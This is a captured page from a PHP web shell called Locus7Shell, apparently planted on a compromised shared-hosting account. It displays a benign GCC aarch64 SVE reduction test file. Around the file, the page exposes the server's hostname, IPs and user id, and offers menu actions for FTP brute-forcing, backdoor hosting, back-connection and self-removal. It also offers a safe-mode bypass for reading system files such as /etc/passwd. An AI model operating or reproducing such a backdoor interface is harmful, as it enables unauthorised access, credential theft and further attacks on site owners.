Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/sve/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     reduc_2_run.c (2.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run { target { aarch64_sve_hw } } } */
/* { dg-options "-O2 -ftree-vectorize -ffast-math" } */

#include "reduc_2.c"

#define NROWS 53

/* -ffast-math fuzz for PLUS.  */
#define CMP__Float16(X, Y) ((X) >= (Y) * 0.875 && (X) <= (Y) * 1.125)
#define CMP_float(X, Y) ((X) == (Y))
#define CMP_double(X, Y) ((X) == (Y))
#define CMP_int8_t(X, Y) ((X) == (Y))
#define CMP_int16_t(X, Y) ((X) == (Y))
#define CMP_int32_t(X, Y) ((X) == (Y))
#define CMP_int64_t(X, Y) ((X) == (Y))
#define CMP_uint8_t(X, Y) ((X) == (Y))
#define CMP_uint16_t(X, Y) ((X) == (Y))
#define CMP_uint32_t(X, Y) ((X) == (Y))
#define CMP_uint64_t(X, Y) ((X) == (Y))

#define INIT_MATRIX(TYPE)                \
  TYPE mat[NROWS][NUM_ELEMS (TYPE)];            \
  TYPE r[NROWS];                    \
  for (int i = 0; i < NROWS; i++)            \
    for (int j = 0; j < NUM_ELEMS (TYPE); j++)        \
      {                            \
    mat[i][j] = i + (j * 2) * (j & 1 ? 1 : -1);    \
    asm volatile ("" ::: "memory");            \
      }

#define TEST_REDUC_PLUS(TYPE)                \
  {                            \
    INIT_MATRIX (TYPE);                    \
    reduc_plus_##TYPE (mat, r, NROWS);            \
    for (int i = 0; i < NROWS; i++)            \
      {                            \
    volatile TYPE r2 = 0;                \
    for (int j = 0; j < NUM_ELEMS (TYPE); ++j)    \
      r2 += mat[i][j];                \
    if (!CMP_##TYPE (r[i], r2))            \
      __builtin_abort ();                \
      }                            \
    }

#define TEST_REDUC_MAXMIN(TYPE, NAME, CMP_OP)        \
  {                            \
    INIT_MATRIX (TYPE);                    \
    reduc_##NAME##_##TYPE (mat, r, NROWS);        \
    for (int i = 0; i < NROWS; i++)            \
      {                            \
    volatile TYPE r2 = mat[i][0];            \
    for (int j = 0; j < NUM_ELEMS (TYPE); ++j)    \
      r2 = mat[i][j] CMP_OP r2 ? mat[i][j] : r2;    \
    if (r[i] != r2)                    \
      __builtin_abort ();                \
      }                            \
    }

#define TEST_REDUC_BITWISE(TYPE, NAME, BIT_OP)        \
  {                            \
    INIT_MATRIX (TYPE);                    \
    reduc_##NAME##_##TYPE (mat, r, NROWS);        \
    for (int i = 0; i < NROWS; i++)            \
      {                            \
    volatile TYPE r2 = mat[i][0];            \
    for (int j = 0; j < NUM_ELEMS (TYPE); ++j)    \
      r2 BIT_OP mat[i][j];                \
    if (r[i] != r2)                    \
      __builtin_abort ();                \
      }                            \
    }

int main ()
{
  TEST_PLUS (TEST_REDUC_PLUS)
  TEST_MAXMIN (TEST_REDUC_MAXMIN)

  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0066 ]--